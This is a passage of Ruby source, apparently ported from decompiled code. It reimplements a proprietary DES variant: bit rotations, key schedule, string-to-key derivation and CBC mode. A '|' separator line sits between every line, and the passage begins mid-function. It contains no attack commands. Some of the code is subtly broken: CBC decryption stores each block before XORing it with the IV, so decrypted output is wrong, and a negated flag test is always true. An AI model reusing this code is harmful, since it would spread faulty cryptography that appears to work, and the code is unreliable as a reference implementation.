if (v4 & 0x40000000) != 0
|
|
v6 |= 0x1000000
|
|
end
|
|
if (v4 & 0x400000) != 0
|
|
v6 |= 0x2000000
|
|
end
|
|
if (v4 & 0x4000) != 0
|
|
v6 |= 0x4000000
|
|
end
|
|
if (v4 & 0x40) != 0
|
|
v6 |= 0x8000000
|
|
end
|
|
if (v3 & 0x40000000) != 0
|
|
v6 |= 0x10000000
|
|
end
|
|
if (v3 & 0x400000) != 0
|
|
v6 |= 0x20000000
|
|
end
|
|
if (v3 & 0x4000) != 0
|
|
v6 |= 0x40000000
|
|
end
|
|
if (v3 & 0x40) != 0
|
|
v6 |= 0x80000000
|
|
end
|
|
|
|
# Create return tuple
|
|
ret_block = Array.new
|
|
ret_block.push v5
|
|
ret_block.push v6
|
|
ret_block
|
|
end
|
|
|
|
def rotate_block_final(input_block_tuple)
|
|
|
|
v6 = 0
|
|
v5 = 0
|
|
input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
|
|
v3 = input_block_tuple[0]
|
|
v4 = input_block_tuple[1]
|
|
|
|
if (v4 & 0x80) != 0
|
|
v5 = 1
|
|
end
|
|
if (v3 & 0x80) != 0
|
|
v5 |= 2
|
|
end
|
|
if (v4 & 0x8000) != 0
|
|
v5 |= 4
|
|
end
|
|
if (v3 & 0x8000) != 0
|
|
v5 |= 8
|
|
end
|
|
if (v4 & 0x800000) != 0
|
|
v5 |= 0x10
|
|
end
|
|
if (v3 & 0x800000) != 0
|
|
v5 |= 0x20
|
|
end
|
|
if (v4 < 0)
|
|
v5 |= 0x40
|
|
end
|
|
if (v3 < 0)
|
|
v5 |= 0x80
|
|
end
|
|
if (v4 & 0x40) != 0
|
|
v5 |= 0x100
|
|
end
|
|
if (v3 & 0x40) != 0
|
|
v5 |= 0x200
|
|
end
|
|
if (v4 & 0x4000) != 0
|
|
v5 |= 0x400
|
|
end
|
|
if (v3 & 0x4000) != 0
|
|
v5 |= 0x800
|
|
end
|
|
if (v4 & 0x400000) != 0
|
|
v5 |= 0x1000
|
|
end
|
|
if (v3 & 0x400000) != 0
|
|
v5 |= 0x2000
|
|
end
|
|
if (v4 & 0x40000000) != 0
|
|
v5 |= 0x4000
|
|
end
|
|
if (v3 & 0x40000000) != 0
|
|
v5 |= 0x8000
|
|
end
|
|
if (v4 & 0x20) != 0
|
|
v5 |= 0x10000
|
|
end
|
|
if (v3 & 0x20) != 0
|
|
v5 |= 0x20000
|
|
end
|
|
if (v4 & 0x2000) != 0
|
|
v5 |= 0x40000
|
|
end
|
|
if (v3 & 0x2000) != 0
|
|
v5 |= 0x80000
|
|
end
|
|
if (v4 & 0x200000) != 0
|
|
v5 |= 0x100000
|
|
end
|
|
if (v3 & 0x200000) != 0
|
|
v5 |= 0x200000
|
|
end
|
|
if (v4 & 0x20000000) != 0
|
|
v5 |= 0x400000
|
|
end
|
|
if (v3 & 0x20000000) != 0
|
|
v5 |= 0x800000
|
|
end
|
|
if (v4 & 0x10) != 0
|
|
v5 |= 0x1000000
|
|
end
|
|
if (v3 & 0x10) != 0
|
|
v5 |= 0x2000000
|
|
end
|
|
if (v4 & 0x1000) != 0
|
|
v5 |= 0x4000000
|
|
end
|
|
if (v3 & 0x1000) != 0
|
|
v5 |= 0x8000000
|
|
end
|
|
if (v4 & 0x100000) != 0
|
|
v5 |= 0x10000000
|
|
end
|
|
if (v3 & 0x100000) != 0
|
|
v5 |= 0x20000000
|
|
end
|
|
if (v4 & 0x10000000) != 0
|
|
v5 |= 0x40000000
|
|
end
|
|
if (v3 & 0x10000000) != 0
|
|
v5 |= 0x80000000
|
|
end
|
|
if (v4 & 8) != 0
|
|
v6 = 1
|
|
end
|
|
if (v3 & 8) != 0
|
|
v6 |= 2
|
|
end
|
|
if (v4 & 0x800) != 0
|
|
v6 |= 4
|
|
end
|
|
if (v3 & 0x800) != 0
|
|
v6 |= 8
|
|
end
|
|
if (v4 & 0x80000) != 0
|
|
v6 |= 0x10
|
|
end
|
|
if (v3 & 0x80000) != 0
|
|
v6 |= 0x20
|
|
end
|
|
if (v4 & 0x8000000) != 0
|
|
v6 |= 0x40
|
|
end
|
|
if (v3 & 0x8000000) != 0
|
|
v6 |= 0x80
|
|
end
|
|
if (v4 & 4) != 0
|
|
v6 |= 0x100
|
|
end
|
|
if (v3 & 4) != 0
|
|
v6 |= 0x200
|
|
end
|
|
if (v4 & 0x400) != 0
|
|
v6 |= 0x400
|
|
end
|
|
if (v3 & 0x400) != 0
|
|
v6 |= 0x800
|
|
end
|
|
if (v4 & 0x40000) != 0
|
|
v6 |= 0x1000
|
|
end
|
|
if (v3 & 0x40000) != 0
|
|
v6 |= 0x2000
|
|
end
|
|
if (v4 & 0x4000000) != 0
|
|
v6 |= 0x4000
|
|
end
|
|
if (v3 & 0x4000000) != 0
|
|
v6 |= 0x8000
|
|
end
|
|
if (v4 & 2) != 0
|
|
v6 |= 0x10000
|
|
end
|
|
if (v3 & 2) != 0
|
|
v6 |= 0x20000
|
|
end
|
|
if (v4 & 0x200) != 0
|
|
v6 |= 0x40000
|
|
end
|
|
if (v3 & 0x200) != 0
|
|
v6 |= 0x80000
|
|
end
|
|
if (v4 & 0x20000) != 0
|
|
v6 |= 0x100000
|
|
end
|
|
if (v3 & 0x20000) != 0
|
|
v6 |= 0x200000
|
|
end
|
|
if (v4 & 0x2000000) != 0
|
|
v6 |= 0x400000
|
|
end
|
|
if (v3 & 0x2000000) != 0
|
|
v6 |= 0x800000
|
|
end
|
|
if (v4 & 1) != 0
|
|
v6 |= 0x1000000
|
|
end
|
|
if (v3 & 1) != 0
|
|
v6 |= 0x2000000
|
|
end
|
|
if (v4 & 0x100) != 0
|
|
v6 |= 0x4000000
|
|
end
|
|
if (v3 & 0x100) != 0
|
|
v6 |= 0x8000000
|
|
end
|
|
if (v4 & 0x10000) != 0
|
|
v6 |= 0x10000000
|
|
end
|
|
if (v3 & 0x10000) != 0
|
|
v6 |= 0x20000000
|
|
end
|
|
if (v4 & 0x1000000) != 0
|
|
v6 |= 0x40000000
|
|
end
|
|
if (v3 & 0x1000000) != 0
|
|
v6 |= 0x80000000
|
|
end
|
|
|
|
# Create return tuple
|
|
ret_block = Array.new
|
|
ret_block.push v5
|
|
ret_block.push v6
|
|
ret_block
|
|
end
|
|
|
|
def load(a1)
|
|
a2 = Array.new(8, 0)
|
|
v3 = a1
|
|
a2[0] = a1 & 0xff
|
|
v3 >>= 3
|
|
a2[1] = v3 & 0xff
|
|
v3 >>= 4
|
|
a2[2] = v3 & 0xff
|
|
v3 >>= 4
|
|
a2[3] = v3 & 0xff
|
|
v3 >>= 4
|
|
a2[4] = v3 & 0xff
|
|
v3 >>= 4
|
|
a2[5] = v3 & 0xff
|
|
v3 >>= 4
|
|
a2[6] = v3 & 0xff
|
|
v3 >>= 4
|
|
a2[7] = v3 & 0xff
|
|
a2[0] = (a2[0] * 2) & 0xff
|
|
a2[7] |= (16 * a2[0]) & 0xff
|
|
v3 >>= 4
|
|
a2[0] |= v3 & 0xff
|
|
|
|
data_block = a2.pack("c*").unpack("V*")
|
|
data_block[0] &= 0x3F3F3F3F
|
|
data_block[1] &= 0x3F3F3F3F
|
|
data_block
|
|
end
|
|
|
|
def desx(data_block, ksch, idx)
|
|
ksch = ksch.pack("V*")
|
|
ksch = ksch.unpack("Q<*")
|
|
key_block = ksch[idx]
|
|
|
|
data_block_ptr = data_block.pack("V*")
|
|
data_block_ptr = data_block_ptr.unpack1("Q<*")
|
|
data_block_ptr ^= key_block
|
|
|
|
counter = 1
|
|
data_block_byte_ptr = [data_block_ptr].pack('Q<')
|
|
left = SBOXES[data_block_byte_ptr[0].ord]
|
|
right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]
|
|
counter += 1
|
|
left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
|
|
counter += 1
|
|
right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
|
|
counter += 1
|
|
left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
|
|
counter += 1
|
|
right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
|
|
counter += 1
|
|
left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
|
|
counter += 1
|
|
right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
|
|
counter += 1
|
|
left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
|
|
counter += 1
|
|
right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
|
|
counter += 1
|
|
left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
|
|
counter += 1
|
|
right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
|
|
counter += 1
|
|
left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
|
|
counter += 1
|
|
right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
|
|
counter += 1
|
|
left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
|
|
counter += 1
|
|
right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
|
|
|
|
# Create return tuple
|
|
ret_block = Array.new
|
|
ret_block.push left
|
|
ret_block.push right
|
|
ret_block
|
|
|
|
end
|
|
|
|
def store(data_block)
|
|
a1 = data_block.pack("V*")
|
|
val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1
|
|
val & 0xffffffff
|
|
end
|
|
|
|
def sbox_xors(data_block_in, ksch_arg, decrypt_flag)
|
|
|
|
decrypt_flag_cpy = decrypt_flag
|
|
if (decrypt_flag & 0x100) != 0
|
|
data_block_0 = data_block_in
|
|
else
|
|
data_block_0 = rotate_block_init(data_block_in)
|
|
end
|
|
|
|
encrypt_flag = (decrypt_flag_cpy & 1) == 0
|
|
ti_block_0 = load(data_block_0[0])
|
|
ti_block_1 = load(data_block_0[1])
|
|
|
|
for i in 0..15
|
|
ti_cpy = ti_block_1
|
|
if encrypt_flag
|
|
ti_block_1 = desx(ti_block_1, ksch_arg, i)
|
|
else
|
|
ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)
|
|
end
|
|
ti_block_1[0] ^= ti_block_0[0]
|
|
ti_block_1[1] ^= ti_block_0[1]
|
|
ti_block_0 = ti_cpy
|
|
end
|
|
|
|
data_block_0[0] = store(ti_block_1)
|
|
data_block_0[1] = store(ti_block_0)
|
|
|
|
if (!(decrypt_flag_cpy & 0x200) != 0)
|
|
rotate_block_final(data_block_0)
|
|
else
|
|
data_block_0
|
|
end
|
|
|
|
end
|
|
|
|
def gen_key_unchecked(key)
|
|
|
|
idx = 0
|
|
key_arr = key.unpack("V*")
|
|
key_sch = Array.new
|
|
for i in 0..15
|
|
idx += ROTATIONS[i].ord
|
|
v6 = 0
|
|
v5 = 0
|
|
v14 = 0
|
|
for j in 0..47
|
|
pc2_p1 = (idx + PC2[j].ord) % 0x1C
|
|
if PC2[j].ord > 0x1B
|
|
pc2_p2 = 0x1c
|
|
else
|
|
pc2_p2 = 0
|
|
end
|
|
v13 = PC1[pc2_p1 + pc2_p2].ord
|
|
if v13 <= 31
|
|
v12 = 0
|
|
else
|
|
v12 = 1
|
|
v13 -= 32
|
|
end
|
|
if j <= 23
|
|
v10 = j
|
|
else
|
|
v14 = 1
|
|
v10 = j - 24
|
|
end
|
|
v11 = 8 * (v10 / 6) + v10 % 6
|
|
key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]
|
|
|
|
if (key_and != 0)
|
|
if v14 == 1
|
|
v6 |= SBOX_BYTE_ORDER[v11]
|
|
else
|
|
v5 |= SBOX_BYTE_ORDER[v11]
|
|
end
|
|
end
|
|
end
|
|
key_sch.push v5
|
|
key_sch.push v6
|
|
end
|
|
key_sch
|
|
end
|
|
|
|
def des_string_to_key(key_buf_str)
|
|
|
|
des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)
|
|
des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)
|
|
|
|
temp_key1 = Array.new(8, 0)
|
|
temp_key2 = Array.new(8, 0)
|
|
|
|
key_buf_bytes = key_buf_str.unpack("c*")
|
|
|
|
counter = 0
|
|
key_buf_str_len = key_buf_bytes.length - 1
|
|
for i in 0..key_buf_str_len
|
|
counter %= 8
|
|
temp_key1[counter] |= key_buf_bytes[i]
|
|
temp_key2[counter] |= key_buf_bytes[i]
|
|
|
|
data_block = temp_key1.pack("c*").unpack("V*")
|
|
temp_key1 = sbox_xors(data_block, des_keysch_0, 0)
|
|
temp_key1 = temp_key1.pack("V*").unpack("c*")
|
|
|
|
data_block = temp_key2.pack("c*").unpack("V*")
|
|
temp_key2 = sbox_xors(data_block, des_keysch_1, 0)
|
|
temp_key2 = temp_key2.pack("V*").unpack("c*")
|
|
counter += 1
|
|
end
|
|
|
|
# Prepare the return array
|
|
ret_key = Array.new(8, 0)
|
|
for j in 0..7
|
|
ret_key[j] = temp_key2[j] ^ temp_key1[j]
|
|
end
|
|
ret_key.pack("c*")
|
|
end
|
|
|
|
def des_cbc(input_buf, key_sch, iv, decrypt_flag)
|
|
|
|
output_block_arr = Array.new
|
|
blocks = input_buf.unpack("Q<*")
|
|
for i in 0..blocks.length - 1
|
|
|
|
current_block = blocks[i]
|
|
if decrypt_flag == 1
|
|
cur_block = current_block
|
|
else
|
|
current_block ^= iv
|
|
end
|
|
|
|
current_block_tuple = [current_block].pack("Q<").unpack("V*")
|
|
output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)
|
|
output_block = output_block_tuple.pack("V*").unpack1("Q<")
|
|
output_block_arr.push output_block
|
|
|
|
if decrypt_flag == 1
|
|
output_block ^= iv
|
|
iv = cur_block
|
|
else
|
|
iv = output_block
|
|
end
|
|
end
|
|
|
|
output_block_arr.pack("Q<*")
|
|
|
|
end
|
|
|
|
def des_crypt_func(binary_buf, key_buf, decrypt_flag)
|
|
des_key = des_string_to_key(key_buf)
|
|
des_keysch = gen_key_unchecked(des_key)
|
|
|
|
temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)
|
|
binary_buf_str = binary_buf.unpack('c*')
|
|
|
|
for j in 0..binary_buf_str.length - 1
|
|
temp_enc_buf[j] = binary_buf_str[j]
|
|
end
|
|
|
|
temp_enc_buf = temp_enc_buf.pack('c*')
|
|
output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)
|
|
output_buf
|
|
end
|
|
|
|
end |